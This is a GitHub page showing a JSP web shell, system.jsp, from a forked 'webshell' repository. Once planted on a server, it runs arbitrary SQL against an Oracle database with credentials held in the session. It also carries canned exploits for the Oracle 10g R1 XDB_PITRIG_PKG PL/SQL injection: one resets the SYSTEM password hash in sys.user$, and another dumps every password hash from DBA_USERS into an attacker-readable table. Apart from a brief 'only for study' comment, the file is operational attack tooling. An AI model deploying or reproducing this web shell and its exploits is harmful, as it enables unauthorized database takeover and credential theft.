forked from regina-book/webshell
-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy pathsystem.jsp
609 lines (577 loc) · 16.5 KB
/
system.jsp
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
561
562
563
564
565
566
567
568
569
570
571
572
573
574
575
576
577
578
579
580
581
582
583
584
585
586
587
588
589
590
591
592
593
594
595
596
597
598
599
600
601
602
603
604
605
606
607
608
609
<%@ page contentType="text/html;charset=gb2312"%>
<%@ page import="java.lang.*"%>
<%@ page import="java.sql.*"%>
<%@ page import="java.util.*"%>
<%@ page import="java.io.*"%>
<%!
/**
*
* this tool only for study
* you can find this everywhere
*/
//test fun
public List testconn(java.lang.String url, java.lang.String user,
java.lang.String password) throws java.lang.Exception {
Class.forName("oracle.jdbc.driver.OracleDriver").newInstance();
Connection conn = DriverManager.getConnection(url, user, password);
String sql = "SELECT * FROM DBA_TABLES WHERE TABLE_NAME not like '%$%' and num_rows>0 and rownum<10";
Statement stmt = conn.createStatement(ResultSet.TYPE_SCROLL_SENSITIVE,
ResultSet.CONCUR_UPDATABLE);
ResultSet rs = stmt.executeQuery(sql);
List list = new Vector();
list.add(new String[]{"some system tables!","good luck!"});
while (rs.next()) {
java.lang.String str[] = new java.lang.String[2];
str[0] = rs.getString("owner");
str[1] = rs.getString("table_name");
list.add(str);
}
rs.close();
stmt.close();
conn.close();
return list;
}
/**getConn
*/
public Connection getConn(String url, String user, String password)
throws java.lang.Exception {
Class.forName("oracle.jdbc.driver.OracleDriver").newInstance();
return DriverManager.getConnection(url, user, password);
}
/**to exec the sql query.
*/
public List getSqlExecuteContext(String sql, String url, String user,
String password) throws java.lang.Exception {
Connection conn = getConn(url, user, password);
Statement stmt = conn.createStatement(ResultSet.TYPE_SCROLL_SENSITIVE,
ResultSet.CONCUR_UPDATABLE);
ResultSet rs = stmt.executeQuery(sql);
ResultSetMetaData rsma = rs.getMetaData();
int inttmp = rsma.getColumnCount();
List listcolum = new Vector();
for (int i = 0; i < inttmp; i++) {
listcolum.add(rsma.getColumnName(i+1));
}
List list = new Vector();
list.add(listcolum);
while (rs.next()) {
List listRsValue = new Vector();
for (int i = 0; i < inttmp; i++) {
listRsValue.add(rs.getObject(i + 1));
}
list.add(listRsValue);
}
rs.close();
stmt.close();
conn.close();
return list;
}
/**execute update,delete,proc,create and so on...
*/
public int executeUpdate(String sql, String url, String user,
String password) throws java.lang.Exception {
Connection conn = getConn(url, user, password);
Statement stmt = conn.createStatement(ResultSet.TYPE_SCROLL_SENSITIVE,
ResultSet.CONCUR_UPDATABLE);
int i = stmt.executeUpdate(sql);
conn.commit();
stmt.close();
conn.close();
return i;
}
/**to invoke other fun
*/
public List toFuckLZ(String str, String url, String user, String password) {
List list = new Vector();
if (str==null||str.length()<7)
{
return list;
}
if (str.substring(0, 6).toLowerCase().equals("select")) {
try {
list = getSqlExecuteContext(str, url, user, password);
} catch (Exception ex) {
list.add(ex.getMessage());
}
} else {
try {
list.add("success to yingxiang ji lu "
+ executeUpdate(str, url, user, password) + " tiao !");
} catch (Exception ex) {
list.add(ex.getMessage());
}
}
return list;
}%>
<%
//globol
String action = "";
action = request.getParameter("action");
String oracle_config_db_username = "";
String oracle_config_db_password = "";
String oracle_config_db_ip = "";
String oracle_config_db_sid = "";
String oracle_config_db_port = "";
String oracle_config_db_url = "";
if (action == null) {
//config
%>
<script>
function fun_xiangxicanshu()
{
var xiangxidiv = document.getElementById('xiangxilianjie');
xiangxidiv.style.display="block";
var chuancandiv = document.getElementById('chuanurlfangshi');
chuancandiv.style.display="none";
var action = document.getElementById('action');
action.value='db_config_xiangxi';
}
function fun_chuanurl()
{
var xiangxidiv = document.getElementById('xiangxilianjie');
xiangxidiv.style.display="none";
var chuancandiv = document.getElementById('chuanurlfangshi');
chuancandiv.style.display="block";
var action = document.getElementById('action');
action.value='db_config_url';
}
</script>
oracle execute...
<br />
<input name="xiangxicanshu" type="radio" value=""
onclick="fun_xiangxicanshu()" />
all Parameter
<input name="xiangxicanshu" type="radio" value=""
onclick="fun_chuanurl();" />
url ,dbuser,dbname
<form id="form1" name="form1" method="post" action="system.jsp">
<input type="hidden" name="action" id="action" />
<div id="xiangxilianjie" style="display:none">
<table width="362" border="1">
<tr>
<td width="123">
oracle IP
</td>
<td width="223">
<label>
<input type="text" name="oracle_config_db_ip" />
</label>
</td>
</tr>
<tr>
<td>
db_username
</td>
<td>
<input type="text" name="oracle_config_db_username" />
</td>
</tr>
<tr>
<td>
db_password
</td>
<td>
<input type="password" name="oracle_config_db_password" />
</td>
</tr>
<tr>
<td>
SID
</td>
<td>
<input type="text" name="oracle_config_db_sid" />
</td>
</tr>
<tr>
<td>
port
</td>
<td>
<input type="text" name="oracle_config_db_port" />
</td>
</tr>
<tr>
<td colspan="2">
<label>
go
<input type="submit" name="Submit" value="login" />
</label>
</td>
</tr>
</table>
</div>
<div id="chuanurlfangshi" style="display:none">
<table width="774" border="1">
<tr>
<td width="92">
url:
</td>
<td width="666">
<label>
<textarea name="oracle_config_db_url" cols="100" rows="5"></textarea>
</label>
</td>
</tr>
<tr>
<td>
db_username
</td>
<td>
<input type="text" name="oracle_config_db_username1" />
</td>
</tr>
<tr>
<td>
password
</td>
<td>
<input type="password" name="oracle_config_db_password1" />
</td>
</tr>
<tr>
<td colspan="2">
<label>
go
<input type="submit" name="Submit2" value="login" />
</label>
</td>
</tr>
</table>
</div>
</form>
<%
} else if (action.equals("db_config_xiangxi")) {
oracle_config_db_username = request
.getParameter("oracle_config_db_username");
oracle_config_db_password = request
.getParameter("oracle_config_db_password");
oracle_config_db_ip = request
.getParameter("oracle_config_db_ip");
oracle_config_db_sid = request
.getParameter("oracle_config_db_sid");
oracle_config_db_port = request
.getParameter("oracle_config_db_port");
String url = null;
url = "jdbc:oracle:thin:@(DESCRIPTION=(ADDRESS_LIST=(ADDRESS=(PROTOCOL=TCP)(HOST="
+ oracle_config_db_ip
+ ")(PORT="
+ oracle_config_db_port
+ ")))(CONNECT_DATA=(SERVER=DEDICATED)(SERVICE_NAME="
+ oracle_config_db_sid + ")))";
List list = new Vector();
list.add(new String[]{"some system tables!","good luck!"});
//try {
// list = testconn(url, oracle_config_db_username,
// oracle_config_db_password);
//} catch (java.lang.Exception ex) {
//}
request.getSession().setAttribute("url_dbconn", url);
request.getSession().setAttribute("db_user",
oracle_config_db_username);
request.getSession().setAttribute("db_password",
oracle_config_db_password);
%>
ORACLE table list ??
<br />
<b>username--tablename</b>
<a href="<%=request.getRequestURL()%>?action=show">click me to con</a>
<br />
<textarea name="jieguo" cols="100" rows="30">
<%
for (int i = 0; i < list.size(); i++) {
java.lang.String str[] = (String[]) list.get(i);
%>
<%=str[0]%> -- <%=str[1]%>
<%
}
%>
</textarea>
<%
} else if (action.equals("db_config_url")) {
oracle_config_db_url = request
.getParameter("oracle_config_db_url");
oracle_config_db_username = request
.getParameter("oracle_config_db_username1");
oracle_config_db_password = request
.getParameter("oracle_config_db_password1");
List list = new Vector();
//try {
// list = testconn(oracle_config_db_url,
// oracle_config_db_username,
// oracle_config_db_password);
//} catch (java.lang.Exception e) {
//}
list.add(new String[]{"some system tables!","good luck!"});
request.getSession().setAttribute("url_dbconn",
oracle_config_db_url);
request.getSession().setAttribute("db_user",
oracle_config_db_username);
request.getSession().setAttribute("db_password",
oracle_config_db_password);
%>
ORACLE table list ??
<br />
<b>username--tablename</b>
<a href="<%=request.getRequestURL()%>?action=show">click me to con</a>
<br />
<textarea name="jieguo" cols="100" rows="30">
<%
for (int i = 0; i < list.size(); i++) {
java.lang.String str[] = (String[]) list.get(i);
%>
<%=str[0]%> -- <%=str[1]%>
<%
}
%>
</textarea>
<%
} else if (action.equals("show")) {
%>
<script language="javascript">
//copy from sohu...
function GetO(){
var ajax=false;
try {
ajax = new ActiveXObject("Msxml2.XMLHTTP");
} catch (e) {
try {
ajax = new ActiveXObject("Microsoft.XMLHTTP");
} catch (E) {
ajax = false;
}
}
if (!ajax && typeof XMLHttpRequest!='undefined') {
ajax = new XMLHttpRequest();
}
return ajax;
}
//copy from sohu...
function getMyHTML(serverPage) {
var ajax = GetO();
var requestDiv = document.getElementById('requestDiv');
ajax.open("POST",serverPage,true);
ajax.onreadystatechange = function() {
if (ajax.readyState == 4 && ajax.status == 200) {
var strvar = ajax.responseText;
requestDiv.innerHTML += strvar;
//requestDiv.innerHTML += strvar;
}
}
ajax.setRequestHeader("Content-Type","application/x-www-form-urlencoded");
var queryString = createQueryString();
ajax.send(queryString);
}
function createQueryString()
{
var sqlrequest=document.getElementById("sqlrequest").innerText;
var time = Math.random();
var queryString="sqlrequest=" + sqlrequest + "&time=" + time;
return queryString;
}
function requestAjax()
{
getMyHTML("<%=request.getRequestURL()%>?action=todoExeSql","sqlrequest");
}
function clearResult()
{
document.getElementById('requestDiv').innerHTML='';
}
function selectThemSql()
{
var iniselect = document.getElementById('emSql').value;
var sqlrequest = document.getElementById('sqlrequest');
//change pass desc
if (iniselect=='1')
{
var sqlstr = "";
sqlstr+="Oracle 10g R1 xdb.xdb_pitrig_pkg PLSQL Injection (change sys password)"+"\r\n";
sqlstr+="step 1 to create proc"+"\r\n";
sqlstr+="step 2 to exec "+"\r\n";
sqlrequest.innerText = sqlstr;
sqlrequest.value = sqlstr;
}
//change pass step 1
if (iniselect=='2')
{
var sqlstr = "";
sqlstr+="CREATE OR REPLACE FUNCTION CHANGEPASS return varchar2"+"\r\n";
sqlstr+="authid current_user as"+"\r\n";
sqlstr+="pragma autonomous_transaction;"+"\r\n";
sqlstr+="BEGIN"+"\r\n";
sqlstr+="EXECUTE IMMEDIATE 'update sys.user$ set password=''EC7637CC2C2BOADC'' where name=''SYSTEM''';"+"\r\n";
sqlstr+="COMMIT;"+"\r\n";
sqlstr+="RETURN '';"+"\r\n";
sqlstr+="END;"+"\r\n";
sqlstr+="/"+"\r\n";
sqlrequest.innerText = sqlstr;
sqlrequest.value = sqlstr;
}
//change pass step 2
if (iniselect=='3')
{
var sqlstr = "";
sqlstr+="EXEC XDB.XDB_PITRIG_PKG.PITRIG_DROP('SCOTT\".\"SH2KERR\" WHERE 1=SCOTT.CHANGEPASS()--','HELLO IDS IT IS EXPLOIT :)');";
sqlrequest.innerText = sqlstr;
sqlrequest.value = sqlstr;
}
//get password hash
if (iniselect=='4')
{
var sqlstr = "";
sqlstr+="Oracle 10g R1 xDb.XDB_PITRIG_PKG.PITRIG_TRUNCATE exp (get password hash)"+"\r\n";
sqlstr+="step 1 to create a table for save result"+"\r\n";
sqlstr+="step 2 to create a proc "+"\r\n";
sqlstr+="step 3 to exec proc (exp)"+"\r\n";
sqlstr+="step 4 to select result"+"\r\n";
sqlstr+="ps: don't forget to delete the table."+"\r\n";
sqlrequest.innerText = sqlstr;
sqlrequest.value = sqlstr;
}
if (iniselect=='5')
{
var sqlstr = "";
sqlstr+="CREATE TABLE SH2KERR(id NUMBER,name VARCHAR(20),password VARCHAR(16));";
sqlrequest.innerText = sqlstr;
sqlrequest.value = sqlstr;
}
if (iniselect=='6')
{
var sqlstr = "";
sqlstr+="CREATE OR REPLACE FUNCTION SHOWPASS return varchar2"+"\r\n";
sqlstr+="authid current_user as"+"\r\n";
sqlstr+="pragma autonomous_transaction;"+"\r\n";
sqlstr+="BEGIN"+"\r\n";
sqlstr+="EXECUTE IMMEDIATE 'INSERT INTO SCOTT.sh2kerr(id,name,password) SELECT user_id,username,password FROM DBA_USERS';"+"\r\n";
sqlstr+="COMMIT;"+"\r\n";
sqlstr+="RETURN '';"+"\r\n";
sqlstr+="END;"+"\r\n";
sqlstr+="/"+"\r\n";
sqlrequest.innerText = sqlstr;
sqlrequest.value = sqlstr;
}
if (iniselect=='7')
{
var sqlstr = "";
sqlstr+="EXEC XDB.XDB_PITRIG_PKG.PITRIG_TRUNCATE('SCOTT"."SH2KERR" WHERE 1=SCOTT.SHOWPASS()--','HELLO IDS IT IS EXPLOIT :)');"+"\r\n";
sqlrequest.innerText = sqlstr;
sqlrequest.value = sqlstr;
}
if (iniselect=='8')
{
var sqlstr = "";
sqlstr+="select * from sh2kerr;";
sqlrequest.innerText = sqlstr;
sqlrequest.value = sqlstr;
}
if (iniselect=='9')
{
var sqlstr = "";
sqlstr+="if fun , i will dev a xml version..";
sqlrequest.innerText = sqlstr;
sqlrequest.value = sqlstr;
}
}
</script>
<table width="782" height="394" border="0" align="center">
<tr>
<td width="49" height="27">
</td>
<td width="297">
<br/>
select the em
<select onchange="selectThemSql();" id="emSql">
<option value="">select</option>
<option value="1"> change sys pass 12345 Exp</option>
<option value="2"> ----------step 1 (create proc)</option>
<option value="3"> ----------step 2 (exec proc)</option>
<option value="4"> get password Hashes</option>
<option value="5"> ----------step 1 (create table)</option>
<option value="6"> ----------step 2 (create proc)</option>
<option value="7"> ----------step 3 (exec proc)</option>
<option value="8"> ----------step 4 (select)</option>
<option value="9"> and so on...</option>
</select>
</td>
</tr>
<tr>
<td height="76">
sql:
</td>
<td>
<label>
<textarea name="sqlrequest" rows="5" cols="80" id="sqlrequest"></textarea><br>
<input type="button" name="Submit" onclick="requestAjax();"
value="gogogogogog" />
<input type="button" name="Submit" onclick="clearResult();"
value="clearResult" /><br/>
</label>
</td>
</tr>
<tr>
<td>
result:
</td>
<td>
<label>
<span id="requestDiv" name="requestDiv"></span>
</label>
</td>
</tr>
</table>
<%
} else if (action.equals("todoExeSql")) {
String url = null;
if (request.getSession().getAttribute("url_dbconn") != null) {
url = request.getSession().getAttribute("url_dbconn")
.toString();
}
String user = null;
if (request.getSession().getAttribute("db_user") != null) {
user = request.getSession().getAttribute("db_user")
.toString();
}
String password = null;
if (request.getSession().getAttribute("db_password") != null) {
password = request.getSession().getAttribute("db_password")
.toString();
}
String strsql = null;
if (request.getParameter("sqlrequest") != null) {
strsql = request.getParameter("sqlrequest").toString();
}
String strResponse ="<b>execute :\"" + strsql + "\"</b><table border=1>";
List listtmp = toFuckLZ(strsql, url, user, password);
for (int i = 0; i < listtmp.size(); i++) {
List listwaiceng = new Vector();
try {
listwaiceng = (Vector)listtmp.get(i);
} catch (Exception ex) {
strResponse += "error! to check you sql! "+listtmp;
break;
}
if (listwaiceng == null) {
strResponse += "<br/>";
continue;
}
strResponse += "<tr>";
for (int j = 0; j < listwaiceng.size(); j++) {
try{
strResponse += "<td>"+listwaiceng.get(j)+"</td>";
}catch(Exception ex){
strResponse += "error! to check you sql! "+listtmp;
break;
}
}
strResponse += "</tr>";
}
strResponse += "</table>";
try{
PrintWriter output = response.getWriter();
output.println(strResponse);
output.flush();
output.close();
}catch(Exception ex){
}
}
%>